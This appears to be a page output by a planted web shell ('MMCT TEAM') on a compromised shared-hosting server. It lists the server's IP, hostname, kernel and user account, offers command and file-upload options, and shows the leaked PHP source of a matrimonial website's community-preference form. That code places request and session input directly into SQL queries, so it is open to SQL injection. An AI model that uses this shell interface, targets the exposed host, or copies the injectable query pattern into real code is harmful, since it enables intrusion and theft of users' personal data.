MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 18.221.8.126
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/ppcad7no/fastelevator.in/../vivahmilankendra.com/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/fastelevator.in/../vivahmilankendra.com/fill-community-prefrence.php
<?php 
require_once("includes/dbsmain.inc.php");

$sql="SELECT * FROM  tbl_registration WHERE reg_id='$_SESSION[regID]'";
$dataRegd=db_query($sql);
$recData=mysqli_fetch_array($dataRegd);


$religion=$_REQUEST['religion'];

if(!empty($religion)){

$rID=db_scalar("SELECT c_id FROM tbl_community WHERE c_title='$religion'");	

if(!empty($rID)){

$sql="SELECT * FROM tbl_community WHERE c_parent_id='$rID' AND c_status='Active'";
$data=db_query($sql);
$count=mysqli_num_rows($data);
?>

<div class="col-lg-12 " id="community_load_area">

<div class="col-md-12 pd-msof no-padd">

<div class="col-md-3"><span class="font-red">*</span>Community</div>
<div class="col-md-9">
<?php if($count){?>
<select class="dsbo-fom-1" name="join_preference_cast" id="join_preference_cast">
<?php while($rec=mysqli_fetch_array($data)){?>
<option  value="<?=$rec['c_title']?>"><?=$rec['c_title']?></option>      
<?php }?>
</select>
<?php }?>   
      

</div>
</div>




<div class="col-md-12 pd-msof no-padd ">
<div class="col-md-3">
<span class="font-red">*</span>Sub Community</div>
<div class="col-md-9">
<input type="text" placeholder="Enter Sub Community" name="join_preference_sub_cast" id="join_preference_sub_cast" value="<?=$recData['reg_preference_sub_cast']?>" class="dsbo-fom-1">
</div>
</div>


</div>
<?php	
}	
}
?>
<?php /*?><?php 
require_once("includes/dbsmain.inc.php");

$religion=$_REQUEST['religion'];

if(!empty($religion)){

$rID=db_scalar("SELECT c_id FROM tbl_community WHERE c_title='$religion'");	

if(!empty($rID)){

$sql="SELECT * FROM tbl_community WHERE c_parent_id='$rID' AND c_status='Active'";
$data=db_query($sql);
$count=mysqli_num_rows($data);
?>

<div class="col-lg-12 " id="community_load_area">

<div class="col-md-12 pd-msof no-padd">

<div class="col-md-3">Community</div>
<div class="col-md-9">
<?php if($count){?>
<select class="dsbo-fom-1" name="join_preference_cast" id="join_preference_cast">
<?php while($rec=mysqli_fetch_array($data)){?>
<option  value="<?=$rec['c_title']?>"><?=$rec['c_title']?></option>      
<?php }?>
</select>
<?php }?>   
      

</div>
</div>




<div class="col-md-12 pd-msof no-padd ">
<div class="col-md-3">
Sub Community</div>
<div class="col-md-9">
<input type="text" placeholder="--- Sub Community ---" name="join_preference_sub_cast" id="join_preference_sub_cast" value="<?=$recData['reg_preference_sub_cast']?>" class="dsbo-fom-1">
</div>
</div>



</div>
<?php	
}	
}
?><?php */?>

MMCT - 2023